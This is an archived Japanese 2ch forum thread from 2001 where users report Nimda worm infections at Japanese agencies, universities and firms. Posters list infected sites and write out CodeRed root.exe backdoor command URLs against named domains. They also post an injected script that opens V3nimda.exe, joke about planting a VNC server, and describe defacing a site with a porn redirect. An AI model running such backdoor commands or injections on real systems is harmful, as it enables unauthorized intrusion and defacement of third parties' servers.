TOP カテ一覧 スレ一覧 100～終まで 2ch元 削除依頼
【Gumblar/GENO】Web改竄ウイルス総合11【8080】
《火事場》 5月6日KLEZ発動！《見物》
私はトレンドマイクロを信頼します
ウィルスバスターがこの先生きのこるには
【N豚N奴】一番いいセキュリティソフトはなんだ!!50
フリーのアンチウイルスソフト Part31
がんばれマカフィー Part97 / McAfee
トレンドマイクロの販売管理費
いっぱいFW入れてます。当たり前だｺﾞﾙｧ大作戦
がんばれマカフィー Part98 / McAfee
ニムダ被害報告スレ
- 1 ：01/09/21 ～ 最終レス ：2014/08/11
- どこがやられてる？
症状はどんな感じ？
挙げてこう。
(9/19)農水省にもウイルス侵入
(9/19)５国立大でウイルス感染
(9/19)三重県庁もウイルスに感染
(9/19)岐阜県でもウイルス感染
(9/19)宮城県庁もウイルス感染
(9/19)茨城県庁もウイルスに汚染
- 2 ：
- http://it.nikkei.co.jp/it/sp9/sp9Ch.cfm?id=20010920eimi067020
韓国の情報通信省は20日、
米連邦捜査局（ＦＢＩ）が米中枢同時テロとの関連を調べている
新種のコンピューターウイルス「Ｗ32／Ｎｉｍｄａ」について
約3700件の被害報告があったことを明らかにした。
同省は「コードレッドなどに比べて感染力が強く、急速に広がっている」
と注意を呼びかけている。
〔ソウル20日共同〕
韓国でも被害あり！！
- 3 ：
- 群馬県庁43台
- 4 ：
- ΛΛ ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
､_ ミ,,ﾟДﾟ彡 ＜ 正直、俺のPC。
uuuu´ ＼ _____________________________________________
- 5 ：
- 内閣府によると、内閣官房と内閣府のＬＡＮ（構内情報通信網）の
一部サーバーと端末が19日午後、コンピューターウイルス「Ｗ32／Ｎｉｍｄａ（ニムダ）」に感染した。
この影響で汚染されたコンピューター端末が使えなくなったほか、
感染防止のため、内閣官房、内閣府から他のホームページを開かないよう指示した。
- 6 ：
- 某県庁確か24台。
漏れ、会社PC無傷。
漏れ、淋しいから感染サイトでニムダ落す。色々眺めて遊ぶ。
そしたら、キャッシュした感染サイトのhtmlソース自体がウイルス反応。
苦笑い。
- 7 ：
- うちの大学・・・・
- 8 ：
- ＿＿＿_
,: 三ﾆ三ミミ;､-、 ＼／ ￣ | --十 i 、.__/__ ＼ , ____|__l l ー十
xX'' `ＹＹ"ﾞミ､ ∠=ｰ ￣ヽ | __|. | | / ヽ ／ __| ,二i￣
彡" ..______. ﾐ. （___ ノ. | (__iﾞ'' し ノ ／^ヽ_ノ （＿＿ (＿＿
::::: ::;
,=ﾐ______=三ミ ji,=三ミi
i ､'ｰｰｰ|,-・ｰ |=|,ｰ・- | ,-v-、
i; ':: ::: ーｰ" ﾞi ,ｰｰ'j / _ﾉ_ﾉ:^)
ｰi:: ::i: ／`^ｰﾞ`､_ ..i / _ﾉ_ﾉ_ノ ／）
|:::. ﾞ"i _,,.-==-､;ﾞﾞi / ﾉ ﾉノ／／
〉::.:.. 丶 "￣ﾞ .'.ﾉ ____ / ______ ノ
／ i, `ｰ-､.,____,___ノ＼＿＿＿＿（" `ｰ" 、 ﾉ
ｰ'/ 'i. ヽ､ ,二ﾆ/ ＼ ｀`ｰ-､ ﾞ ノ
/ 'i、 ／＼ / > （ `ー''"ｰ'"
＼ 'i," （__） / ／ ＼ ／ノ
- 9 ：
- どこのスレか忘れたけど
１８日にリアルタイムでmsnが変だって言ってる時に
普通に見に行ったらられれたーよ。
- 10 ：
- おそらく、Ｆ社第○システム事業部および関連部署
２０日出荷予定のパッケージシステム差分が出荷されず。
担当者曰く「ウィルスのせい」だそうです。
- 11 ：
- 某大手家電メーカー全社的にやられちゃいました～。
- 12 ：
- Ｑ電
- 13 ：
- 岡山県庁
- 14 ：
- >>9
ウイルスに感染してもＨＰは正常に見れるよ。
- 15 ：
- 高松市保健所感染
- 16 ：
- 掲示板付き感染サイトﾊｹｰﾝ 大物居なくなった・・・
http://www.rsk2000.co.jp
- 17 ：
- 東京トヨペット閉鎖中
http://www.tokyo-toyopet.co.jp/comtop/index.html
- 18 ：
- 症状は？
- 19 ：
- Apache鯖なのに置いてあるってことは便乗犯？
http://www1.sphere.ne.jp/noone/
- 20 ：
- ダウ平均で有名なここもウィルスばら撒き中。
http://www.djnews.co.jp/
どうでもいいけど早く閉鎖しろよな（藁
- 21 ：
- この企業は社会的責任も大きいのでこのまま放置は日本の恥
よって晒し上げ
苦情はこちら↓
Sites with longest running systems at Dow Jones Japan K.K.
Dow Jones Japan K.K. Marunouchi Mitsui Bldg. 1F, 2-2-2 Marunouchi, Chiyoda-ku, Tokyo 100-0005, Japan
ダウ・ジョーンズ・ジャパン（株）
住所 東京都千代田区丸の内２－２－２
電話（代表）03-5220-2730
- 22 ：
- >>19
感染するとローカルマシンのhtmlファイルも改竄される模様。
どっかのページで地雷踏んで、それに気づかないままの可能性
あり。
- 23 ：
- >>22
ってことは改竄されたhtmlを転送したってこと？
にしても転送後に普通確認するよなぁ。
readme.exeも一緒に転送とか、故意以外に考え難いんだが
そんなことあるの？
- 24 ：
- >>16 は間違い 訂正はこっち
ＢＢＳ付き感染サイト
http://www.rsk2000.co.jp/ipg/
- 25 ：
- >>23
すま、俺もよくわかってないです
好奇心からいろいろ調べてるけど、伝染させるのに
使ってる脆弱性だけでも2,3あるし。
でも、ローカルのhtml,aspなど改竄するのは確かかと。
このへんから。
http://www.symantec.co.jp/region/jp/sarcj/data/w/w32.nimda.a@mm.html
- 26 ：
- >>23
(ワーム自身の)コピーを行うフォルダにHTML、ASPファイルがあった
場合、HTMLファイルにJavaScriptのコマンドを一行追加すると同時に
“README.EML”のファイル名でウイルスのメールファイルを作成する
場合があります。このJavaScriptを追加されたHTML、ASPファイルが
Web上で公開されていた場合、そのページをブラウズすると
“README.EML”がオープンされ、IEのセキュリティホールにより
ウイルスが活動を開始します。
- 27 ：
- >>24
>nimudaウィルスは、サーバーが感染したものです。
>すでに駆除済みですが、コマンドが断片的に残されており
>ニムダを自動的にインストールしようとしてエラーが起こります。
>ウィルス自体は駆除済みなので感染することもございません。
>安心して閲覧して下さい。
だそうです。確かにhtmlには残骸が残っててダウンロードさせる
動作はするがreadme.exeが無いため404になってるようだが。
- 28 ：
- おいらのPC、１９０も".eml"があったよ～。 (T_T)
でも、起動ドライブには１つも無かった。
感染してるのか？
- 29 ：
- 「ノートン入れてるからぁ」なんて余裕だったんだけど、甘かった。
セキュリティのログ見て、ここんとこずっと一分おきくらいに一日中
アタックされてるからなんかむかついて１個アドレスコピーしてＩＰサーチ
のＨＰでそのアドレスに繋いだとたん、画面にでっかく「ＦＵＣＫ’ＩＮ ＵＳＡ ＧＡＶＡＭＥＭＴ」
とか出てアンチウィルスの警告・・・処理画面の「次へ」のボタン押しつづけても新たな
警告のダイアログが・・・結局除去不可でウィルス隔離された後、手動でウィルス定義
更新して、完全スキャンして（ウィルスは発見されませんでした）その後メニュー画面で検疫
ログ見たら３つファイルがあったので削除。やっぱｅｍｌとかｒｅａｄｍｅとなってた。
これでＯＫですよね？
- 30 ：
- キャッシュで止まってたの？
つうか感染サイト行く時にはＪａｖａのアクティブスクリプト
切りましょう。
- 31 ：
- SOYOで食らった。Nimda感染が判明したからか、今は一部ページが削除されてるようだが。
http://www.soyo.co.jp/
- 32 ：
- >>30
>Ｊａｖａのアクティブスクリプト
って何？
- 33 ：
- >>30
そういうボケ、おれ好きよ☆
- 34 ：
- ttp://www.advaoptical.co.jp
アドバ・オプティカル・ネットワーキング株式会社
CodeRedにもやられたままだし。。。
注意しようにもDNSでMXが設定されてないし。。。。
社名にネットワーキングとはいってるが、何の会社だ。。。
- 35 ：
- マクで感染サイト開くと、 タイトルバーに
http://www.xxx.xx.xx/readme.eml
って書いてあるでかいウィンドゥが開くんだよ。
- 36 ：
- 拙者の自宅PCたちは無事だったが、会社のネットワーク全滅。
1度駆除したが、再度罹患して全滅。
おととい駆除を終えたばかり。
今後2度と罹患しないでくれ～。
なぜか拙者が容疑者だ。
- 37 ：
- >>34
光通信デバイスの商社です。
- 38 ：
- >>37
ネットワーキングといっても
コンピュータネットワークとはあまり関係ないんだね。
（関係あったらちょっとヤだったけど）
連休中だから会社に人がいなくて気づいてないのかな。。
- 39 ：
- しかし、このアドバ DNSからMXがひろえないというのは
何だろう。
メールはやらないということか。
- 40 ：
- nullって窓が開いたぞ～
なんだこりゃぁぁぁあぁぁああああああああああああああああああああああああ
- 41 ：
- >>40
ご愁傷様です(藁
- 42 ：
- 感染するとどうなるわけ？
- 43 ：
- >>42
バックドアの作成、admin.dll/riched20.dllの上書き、htmlファイルの改竄、
すべてのドライブのネットワーク共有の作成、開いているネットワーク共有フォルダへ
自分自身をコピー、ゲストアカウントの管理者権限への昇格、自前のSMTPエンジンを
使って自分自身を大量送信、実行形式ファイルの改竄
などなど。
- 44 ：
- 連休で放置されたままのサイト多いと思われ。
その上CodeRedのroot.exe残ったままって結構あるな。
- 45 ：
- どこの国立大学が感染したの？
- 46 ：
- あどば、月曜になってもそのまま
http://www.advaoptical.co.jp/scripts/root.exe?/c%20dir%20c:\
社名からネットワーキングはずした方がよくないか？
- 47 ：
- 二重に引っかかってます
ttp://www.bee.woodland.co.jp/test/kb-index.htm
- 48 ：
- ウッドランドさんまで。。。
- 49 ：
- 気を取り直して。
ここ↓は、やられてるのでしょうか？
ttp://www5.yodobashi.co.jp/jsp/dc.jsp?sst_id=0000000002
- 50 ：
- これだけ感染被害が出やすくて、次のＸＰでも問題点が解消されてなければ集団Kもんじゃない？
絶対、ＰＬ法違反だよ。分かってるバグを残して出荷してるんだから。
みんなで声を高らかに上げよう！
マイクロソフトはＸＰを無償で配ばれ！！
- 51 ：
-
>マイクロソフトはＸＰを無償で配ばれ！！
穴だらけのものがこれ以上広がったらよけいマズイぞ！！
- 52 ：
- XPって穴あるの？ もうわかってるの？
- 53 ：
- NTや200の穴具合からみて
あると憶測してもいいと思われ。
- 54 ：
- >53
というか、たとえ無くても、以後1年間は穴空けられまくると推測する方が
前向きで宜しいと思われ。
先ずは、リモートデスクトップ。
外からアクセスに強くても内側から起動させられて利用されればどうしよう
もないと思われ。
- 55 ：
- XP対応の新種ワーム誕生
↓
トラフィクが急激に増大
↓
各プロバイダのバックボーン増強
↓
(ﾟдﾟ)ｳﾏｰ
↓
,一-、
/￣ l | ／￣￣￣￣￣￣￣￣
■■-っ ＜ んなーこたーない
´∀｀/ ＼＿＿＿＿＿＿＿＿
＿_／|Ｙ/＼.
Ё|＿_ | / |
| У.. |
- 56 ：
- もういっぺんニムダ捕獲しようとしてうろうろ
してるけど、なかなか捕まらないYO!
しかし、感染したことを隠す組織のなんと多いことか....
readme.emlへのアクセスだけを取り払っているので
バレバレだってばよ。
<language=JavaScript></JavaScript>
みたいな感じでばっちり残ってるんだけど....
- 57 ：
- >>56
port80のログをチェックして、nimdaからのアクセスがあれば
そこのroot.exeを覗きに行く、というのではどうかな。
数日前だけど、それでいくつか入手したよ。
- 58 ：
- >>56
いくらでもどうぞ。
ttp://www.sano-mfg.co.jp/tokucyo/tokuchou.htm
ttp://www.bee.woodland.co.jp
ttp://www.clubtgp.com/freehosting/teeny/kat/index.htm
- 59 ：
- >>56
redme.eml拾ってどうするの？
base64エンコードの部分だけxxxしてxxxxとxxxてxxxxなよ（ｗ
- 60 ：
- >>57
そういえば、その方法使えたな....
どもです
>>58
ありがと、後で見に行ってみるよ。
>>59> redme.eml拾ってどうするの？
いや、ただ単に漏れが興味あるから見たくなっただけ。
ほら、それにこれだけ大騒ぎになってるのにほったらかしに
してある鯖ってちょっと見てみたくない？（ｗ
- 61 ：
- >>60
>ほら、それにこれだけ大騒ぎになってるのにほったらかしに
>してある鯖ってちょっと見てみたくない？（ｗ
つーか、ほったらかしのサイトってまえにあった
ttp://IP/script/root.exe?/c%20net%20send%20localhost%20%22ほげほげ%22
でメッセージ送ろうがお構いなしだよ。
そいやたまたまログに残ってたのを見にいったら、CodeRed.txtって
いうファイルを作ってる先客がいた。それでも気が付かないみたい。
ttp://IP/scripts/root.exe?/c%20echo%20Your Machine is infected by CodeRed.>c:\>CodeRed.txt
モニタ切ってるのかな？いいかげん飽きてきた。
- 62 ：
- >>61
ムダムダ。シャットダウンに成功したって翌日そのまま再起動してた例があるくらいだから。
- 63 ：
- だから「２無駄」って言うのかぁ
- 64 ：
- >>61
そういえば、
あるサイトで見たんだが、
2001-09-20 04:03p 667,648 V3nimda.exe
このV3てなんだ？
- 65 ：
- だいたい、
http://IP/
で閉店してるのに
root.exe
が通るようなサイトは永久にこのままだな（ｗ
- 66 ：
- >>64
実行したら http://IP/ が
ページを表示できません
だったのが、
ページが見つかりません
になっちゃったよ（ｗ
- 67 ：
- >>64
V3はCodeRedIIのことかな？
ま、一応は対策しようとしてる姿勢はあるようだな。
バックドアには無頓着のようだが（ｗ
>>61
再起動されたらしつこくシャットダウン（ｗ
つか、2000でコマンドからシャットダウンってのは難しそう。
http://homepage2.nifty.com/winfaq/w2k/boot.html#1001
それもコマンドでファイル作って実行したのかな？
- 68 ：
- >>67
おらいま、VNCサーバー送り込もうとしてるだ（ｗ
- 69 ：
- >>68
もう、何でもやってちょぷだい。
でもｲﾀｰｲのｲﾔｰﾝ。
- 70 ：
- >>67
つーか、こういうのがあるなら、感染マシンに取りこまさせたのでしょう。
漏れはやったわけじゃないけど。
- 71 ：
- 某会社、1週間も泊まりつづけてニムダ駆除してるんだけど
それってどう？
- 72 ：
- >>70
んー、どこぞのftpでアップしろというのもanonymousじゃ
だめなわけだから結構難しいと思う。
感染鯖からftpでgetまでもできなさそう。
ftpまでハックしないと無理でない？
- 73 ：
- >>71
個人ユーザーが１台のマシンにつきっきりでもしんどいし、アタマ使うのに、会社で五月雨式にやっても永久に・・・。
某社ではIE禁止令（来年３月までの時限）が出たらしいよ。
- 74 ：
- ただ閉じてるだけのところ、日本には山ほどあるよね。
http://www.takara-univ.ac.jp/
http://www.unionsys.co.jp/
http://nac-ltd.co.jp/
http://www.htsc.ap.titech.ac.jp
http://www.sg-jc.ac.jp/
http://www.advaoptical.co.jp/
http://www.computools.co.jp/
http://www.sano-mfg.co.jp
http://www1.fl.kansai-u.ac.jp/
http://www.inet-service.co.jp/
このへんが復活したらどうなるんだろう。 嵐が収まったから玄関あけよう、みたいなところも多いような・・。
こんなとこもあるし。
http://pc2.autechs-unet.ocn.ne.jp
10月再開って、なんか目途があるんだろうか。
http://www.with9.com/
- 75 ：
- >>72
EXPLOITツール使う。若し対象鯖未だパッチ当ててないなら使える。
外出配布済み。
- 76 ：
- >>74
取りあえず×
http://www.inet-service.co.jp/scripts/root.exe?/c%20dir%20c:\
- 77 ：
- 人間の脳にも感染するようです。
http://cgibbs.mmjp.or.jp/bbs/show/www.zumensoft.co.jp/bbs
- 78 ：
- >>76
>これからの企業成長の原動力はダイナミックな情報システム。
>そのキーとなるのがイントラネットシステムです。
>国境や時差の壁を越え、世界中のあらゆる分野に浸透しつつあるインターネットを
>企業内のクライアント・サーバーシステムと融合させることにより
バックドアにより見事にイントラネットとインターネットが融合
しました（ｗ
- 79 ：
- 報告！
http://www.zumensoft.co.jp/menu.html
- 80 ：
- >>77
>>79
同じやん∑(￣△￣；
- 81 ：
- >私たちは、企業の社内外に存在する「情報」を、戦略的な資源として活用するするための「仕組み作り」を、お客様と共に「リアライズ」（実現）
>していくことを基本理念としています
バックドアによって社外から有用な情報が勝手にはいってくるわけですな。
- 82 ：
- http://www.bee.woodland.co.jp/readme.eml
だめぢゃん∑(￣△￣；
- 83 ：
- http://cgibbs.mmjp.or.jp/bbs/show/www.zumensoft.co.jp/bbs
>ウィルス駆除ソフトはシマンテックNorton Antivirus2000を使っていましたが効き目がありません
ノートンだめだとよ(w
- 84 ：
- >>83
匿名で投稿した２ＣＨねら居たみたいだけど、ＩＰ晒されてる・・・。
- 85 ：
- >>84
晒されるのは最初から分かっているのだから承知の上だろう。
- 86 ：
- ニムダ感染のため、行方不明になりました。
http://www.miruku.co.jp/usr/find/higa.htm
探してあげてください。
- 87 ：
- >>86
こ…このサイト、ひどすぎない?
- 88 ：
- >>86
ニムダのソース弄って、尋ね人のデータと連絡先本文にしてばら撒けば
良いよ。
- 89 ：
- http://www.miruku.co.jp/
index.htmlのソースに烈しくﾜﾗﾀ
- 90 ：
- >>89
<!-- sorosoro naosouyo... meiwakudayo... -->
- 91 ：
- 90は誰が書いたのかな。。。。
- 92 ：
- >>91
89と思われ（ｗ
- 93 ：
- ９０書いて人に
”改竄できるなら、無害化しておいてやれ”
ってのはマズイんだよな。やっぱ
- 94 ：
- ９０書いてる人に
”改竄できるなら、index.htmlにも
<html><script language="JavaScript">window.open("V3nimda.exe",null, "resizable=no,top=6000,left=6000")</script></html>
を挿入しておいてやれ”
ってのもマズイんだよな。やっぱ
- 95 ：
- >>89
もっとひどいことになってるぞおい
- 96 ：
- >>95=89
だからやめなはれって（ｗ
- 97 ：
- 遊んだら戻して置いてね。
---
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD>
<META name="GENERATOR" content="IBM WebSphere Homepage Builder V6.0.2 for Windows">
<META http-equiv="Content-Type" content="text/html; charset=Shift_JIS">
<META http-equiv="Content-Style-Type" content="text/css">
<TITLE>沖縄情報</TITLE>
</HEAD>
<FRAMESET rows="143,*" frameborder="NO">
<FRAME src="index_u.html" scrolling="AUTO">
<FRAMESET cols="125,*" frameborder="NO">
<FRAME src="index_l.html" scrolling="AUTO">
<FRAME src="index_d.html" scrolling="AUTO">
</FRAMESET>
<NOFRAMES>
<BODY>
<P>このページをご覧いただくにはフレーム対応のブラウザが必要です。</P>
</BODY>
</NOFRAMES>
</FRAMESET>
</HTML>
<!-- sorosoro naosouyo... meiwakudayo... -->
- 98 ：
- >>95
そこまでできるなら、NapかMXの鯖置いてくれ（ｗ
- 99 ：
- >>89
<html><meta http-equiv="refresh" content="0.1;URL=http://www.sex-jp.net/dh/02/"></html>
あ～あ・・・こんなもんかね。ページクラクって（ｗ
串さして遣ってないと不味い事にならんかね。。（ｗ
- 100 ：
- >>98
ＶＮＣ鯖でもいいぞ（ｗ
http://www.uk.research.att.com/cgi-bin/vncform
100～のスレッドの続きを読む
Kaspersky / カスペルスキー 総合162
【ｱｲﾄﾞﾙ】ウイルスバスター2008 Part32【ｴﾊﾞ様】
【ノートン】Norton Security 254【NS】
【フリー】PC Tools Firewall Plus Port18【FPW】
【無料】 PC-Clean 【スパイウェア駆除】 PART 2
漏洩電磁波盗撮技術TEMPEST(テンペスト)
●セキュ板 雑談スレッド●[７]
【無料】 PC-Clean 【スパイウェア駆除】 PART 2
【無料】 フリーセキュリティの組合せ 18
バッファオーバフロー
--------------------
【藤商事】P緋弾のアリアIII 設定付 Part12
アナタの好きな人ってどんな人？part60
実質なんでも21
4004嶋正利、を語るすれ4004
昔の東武バスを語ろうよ！4
【コロナ】家族4人が感染 父親以外に自覚症状なし 相模原市
ぼくたちは勉強ができないアンチスレ3
全ジャンル主人公最強議論スレvol.126
【1969年】高野悦子さん鉄道自殺
劇場版 響け！ユーフォニアム総合♪6
(´･ω･｀)知らんがな 3やがな
ＴＶのちからは終了してはいけない
2chブラウザ「ChMate」質問スレ Part67
ホテル旅館の従業員が語る来ないでほしい客
【Switch】ファイアーエムブレム風花雪月 ルナ攻略スレ3
YOUは何しに日本へ? → なんでも鑑定団
国家総合職part57
【アルファ】yuurakuと不愉快な仲間たち 7【dada】
♪チェロって素敵♪30
【ｵﾗﾝﾀﾞ王室退位式・即位式】皇太子殿下、雅子妃殿下愛でるｽﾚ
TOP カテ一覧 スレ一覧 100～終まで 2ch元 削除依頼